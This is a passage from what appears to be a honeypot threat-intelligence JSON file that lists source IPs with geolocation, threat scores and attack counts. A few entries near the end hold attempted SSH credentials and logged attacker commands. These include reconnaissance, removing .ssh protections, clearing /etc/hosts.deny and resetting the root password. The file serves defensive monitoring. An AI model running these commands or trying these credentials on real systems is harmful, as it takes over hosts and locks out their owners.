      "country": "Brazil",
      "country_code": "BR",
      "city": "Natal",
      "asn": 28220,
      "as_org": "Alares Cabo Servicos de Telecomunicacoes S.A.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T22:35:22.989000+00:00",
        "last_seen_30d": "2026-05-12T22:36:37.494000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.118.80.65": {
      "attack_count": 2,
      "first_seen": "2026-05-16T19:20:03.366Z",
      "last_seen": "2026-05-16T19:20:17.049Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Mendoza",
      "asn": 28075,
      "as_org": "ARLINK S.A.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T19:20:03.366000+00:00",
        "last_seen_30d": "2026-05-16T19:21:24.095000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.123.128.44": {
      "attack_count": 2,
      "first_seen": "2026-05-06T11:48:49.036Z",
      "last_seen": "2026-05-06T11:49:01.887Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Limpio",
      "asn": 23201,
      "as_org": "Telecel S.A.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:48:49.036000+00:00",
        "last_seen_30d": "2026-05-06T11:50:47.526000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "183.83.154.237": {
      "attack_count": 2,
      "first_seen": "2026-05-24T07:04:40.720Z",
      "last_seen": "2026-05-24T07:04:52.845Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 18209,
      "as_org": "Atria Convergence Technologies Ltd.",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T07:04:40.720000+00:00",
        "last_seen_30d": "2026-05-24T07:05:55.665000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.137.12.222": {
      "attack_count": 2,
      "first_seen": "2026-05-07T01:00:29.295Z",
      "last_seen": "2026-05-07T01:00:44.244Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "R\u00edo Segundo",
      "asn": 7303,
      "as_org": "Telecom Argentina S.A.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:00:29.295000+00:00",
        "last_seen_30d": "2026-05-07T01:01:54.349000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.212.123.174": {
      "attack_count": 2,
      "first_seen": "2026-05-11T18:30:30.491Z",
      "last_seen": "2026-05-11T18:32:30.493Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nicaragua",
      "country_code": "NI",
      "city": "Managua",
      "asn": 14754,
      "as_org": "TELECOMUNICACIONES DE GUATEMALA, SOCIEDAD ANONIMA",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:30:30.491000+00:00",
        "last_seen_30d": "2026-05-11T18:43:19.459000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "196.188.226.202": {
      "attack_count": 2,
      "first_seen": "2026-05-10T12:00:31.756Z",
      "last_seen": "2026-05-10T12:00:44.753Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T12:00:31.756000+00:00",
        "last_seen_30d": "2026-05-10T12:01:46.733000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.183.55.2": {
      "attack_count": 2,
      "first_seen": "2026-05-10T04:54:32.687Z",
      "last_seen": "2026-05-10T04:54:46.759Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Quito",
      "asn": 27738,
      "as_org": "Ecuadortelecom S.A.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T04:54:32.687000+00:00",
        "last_seen_30d": "2026-05-10T04:55:56.225000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "220.163.221.114": {
      "attack_count": 2,
      "first_seen": "2026-05-08T17:20:53.390Z",
      "last_seen": "2026-05-08T17:21:07.065Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T17:20:53.390000+00:00",
        "last_seen_30d": "2026-05-08T17:22:12.908000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "34.220.25.91": {
      "attack_count": 2,
      "first_seen": "2026-05-03T19:26:05.849Z",
      "last_seen": "2026-05-03T19:26:16.013Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boardman",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T19:26:05.849000+00:00",
        "last_seen_30d": "2026-05-03T19:27:19.570000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.58.70.204": {
      "attack_count": 2,
      "first_seen": "2026-05-13T21:36:21.390Z",
      "last_seen": "2026-05-13T21:38:21.392Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Calimaya",
      "asn": 265605,
      "as_org": "VELOCOM SA DE CV",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T21:36:21.390000+00:00",
        "last_seen_30d": "2026-05-13T21:48:54.732000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.125.223.65": {
      "attack_count": 2,
      "first_seen": "2026-05-06T10:40:45.793Z",
      "last_seen": "2026-05-06T10:40:58.598Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 63526,
      "as_org": "Systems Solutions & development Technologies Limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T10:40:45.793000+00:00",
        "last_seen_30d": "2026-05-06T10:41:59.989000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.186.70.66": {
      "attack_count": 2,
      "first_seen": "2026-05-08T05:07:30.720Z",
      "last_seen": "2026-05-08T05:08:09.992Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Leme",
      "asn": 269421,
      "as_org": "BRASILVOX TELECOMUNICACOES LTDA",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T05:07:30.720000+00:00",
        "last_seen_30d": "2026-05-08T05:09:17.291000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "49.158.69.60": {
      "attack_count": 2,
      "first_seen": "2026-05-08T01:48:12.860Z",
      "last_seen": "2026-05-08T01:48:28.925Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 24164,
      "as_org": "UNION BROADBAND NETWORK",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T01:48:12.860000+00:00",
        "last_seen_30d": "2026-05-08T01:49:31.544000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.176.51.123": {
      "attack_count": 2,
      "first_seen": "2026-05-17T00:45:35.808Z",
      "last_seen": "2026-05-17T00:45:48.087Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T00:45:35.808000+00:00",
        "last_seen_30d": "2026-05-17T00:46:55.112000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "60.177.228.39": {
      "attack_count": 2,
      "first_seen": "2026-05-18T00:49:07.079Z",
      "last_seen": "2026-05-18T00:49:19.289Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T00:49:07.079000+00:00",
        "last_seen_30d": "2026-05-18T00:50:27.084000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.97.228.193": {
      "attack_count": 2,
      "first_seen": "2026-05-15T20:34:08.108Z",
      "last_seen": "2026-05-15T20:34:20.594Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 5384,
      "as_org": "Emirates Telecommunications Group Company (etisalat Group) Pjsc",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T20:34:08.108000+00:00",
        "last_seen_30d": "2026-05-15T20:35:28.811000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.237.200.92": {
      "attack_count": 2,
      "first_seen": "2026-05-11T02:02:22.052Z",
      "last_seen": "2026-05-11T02:02:34.915Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kyrgyzstan",
      "country_code": "KG",
      "city": "Kara Suu",
      "asn": 12997,
      "as_org": "OJSC Kyrgyztelecom",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T02:02:22.052000+00:00",
        "last_seen_30d": "2026-05-11T02:03:41.965000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.254.163.164": {
      "attack_count": 2,
      "first_seen": "2026-05-15T19:18:04.088Z",
      "last_seen": "2026-05-15T19:18:16.615Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Latvia",
      "country_code": "LV",
      "city": "Liep\u0101ja",
      "asn": 41563,
      "as_org": "OSTKOM SIA",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T19:18:04.088000+00:00",
        "last_seen_30d": "2026-05-15T19:19:18.396000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.230.168.111": {
      "attack_count": 2,
      "first_seen": "2026-05-12T18:44:12.480Z",
      "last_seen": "2026-05-12T18:44:22.725Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 66.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 14.6,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 24,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T17:00:13+00:00",
        "last_seen_30d": "2026-05-26T11:06:16.234000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Honeytrap": 8,
        "Cowrie": 2,
        "ConPot": 1,
        "Medpot": 1
      }
    },
    "91.230.168.139": {
      "attack_count": 2,
      "first_seen": "2026-05-05T20:04:59.571Z",
      "last_seen": "2026-05-05T20:05:02.579Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.9,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 97,
        "days_active_30d": 28,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-02T07:02:13+00:00",
        "last_seen_30d": "2026-05-29T18:17:13.989000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 33,
        "Cowrie": 2,
        "Dicompot": 2
      }
    },
    "185.246.128.133": {
      "attack_count": 14082,
      "first_seen": "2026-05-02T00:16:13.596Z",
      "last_seen": "2026-05-31T23:37:45.010Z",
      "sessions": 2139,
      "ports": [],
      "usernames_attempted": [
        "oracle",
        "authority",
        "ddd",
        "ftp1",
        "a",
        "ui"
      ],
      "passwords_attempted": [
        "or4cl3",
        "authority",
        "ddd",
        "ftp1",
        "a",
        "ui"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "Stockholm",
      "asn": 42237,
      "as_org": "w1n ltd",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 20591,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T00:16:13.596000+00:00",
        "last_seen_30d": "2026-05-31T23:38:52.167000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14082,
        "Suricata": 6509
      }
    },
    "103.76.165.186": {
      "attack_count": 3670,
      "first_seen": "2026-05-03T13:11:43.054Z",
      "last_seen": "2026-05-06T07:27:07.443Z",
      "sessions": 1835,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 133480,
      "as_org": "5G NETWORK OPERATIONS PTY LTD",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 5519,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T13:11:43.054000+00:00",
        "last_seen_30d": "2026-05-06T07:28:08.832000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3670,
        "Suricata": 1849
      }
    },
    "41.168.10.141": {
      "attack_count": 430,
      "first_seen": "2026-05-06T17:32:12.180Z",
      "last_seen": "2026-05-06T17:38:30.595Z",
      "sessions": 215,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Walkerville",
      "asn": 36937,
      "as_org": "Neotel",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 646,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T17:32:12.180000+00:00",
        "last_seen_30d": "2026-05-06T17:39:39.922000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 430,
        "Suricata": 216
      }
    },
    "103.100.69.141": {
      "attack_count": 421,
      "first_seen": "2026-05-14T21:08:03.359Z",
      "last_seen": "2026-05-15T23:29:44.859Z",
      "sessions": 38,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "pakchoi",
        "zhxnephu",
        "dbus-helper",
        "linux",
        "systemd-sync",
        "udev-monitor"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "warnight",
        "linux123",
        "10nd0n",
        "123321.",
        "16309",
        "A123456b",
        "Kermit123@",
        "King@123",
        "Push@8240",
        "asdfqwer1234",
        "bcbackup",
        "foreveryoung",
        "freebird",
        "manas",
        "norine",
        "openvpnas",
        "porsche996",
        "postgres!@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"Kermit123@\\nP7I2n5RbvLUh\\nP7I2n5RbvLUh\\n\"|passwd",
        "echo \"root:Ug8UJ9XaSGHt\"|chpasswd|bash",
        "echo \"root:YsdofY1fwBdX\"|chpasswd|bash",
        "echo \"zXXUKpvydMqzp1quBItn\\nVTf7Eq9VKue6\\nVTf7Eq9VKue6\\n\"|passwd",
        "echo -e \"Kermit123@\\nP7I2n5RbvLUh\\nP7I2n5RbvLUh\"|passwd|bash",
        "echo -e \"zXXUKpvydMqzp1quBItn\\nVTf7Eq9VKue6\\nVTf7Eq9VKue6\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 34806,
      "as_org": "Asline Limited",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 504,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T21:08:03.359000+00:00",
        "last_seen_30d": "2026-05-15T23:30:45.217000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 421,
        "Suricata": 83
      }
    },
    "71.80.194.137": {
      "attack_count": 384,
      "first_seen": "2026-05-18T18:43:25.999Z",
      "last_seen": "2026-05-23T15:43:59.744Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "claude",
        "dev",
        "eva",
        "kitchen",
        "pavel",
        "readonly",
        "sns",
        "support",
        "test2",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1122",
        "12121212",
        "1234",
        "1q2w3e4r!",
        "ItsemoemoWashere2023support",
        "Micro@123",
        "PasswdNew",
        "abcd1234",
        "ahmad123",
        "ampache",
        "angels",
        "beaver",
        "claude",
        "dbmaker",
        "einstein",
        "elias",
        "eva",
        "hes"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
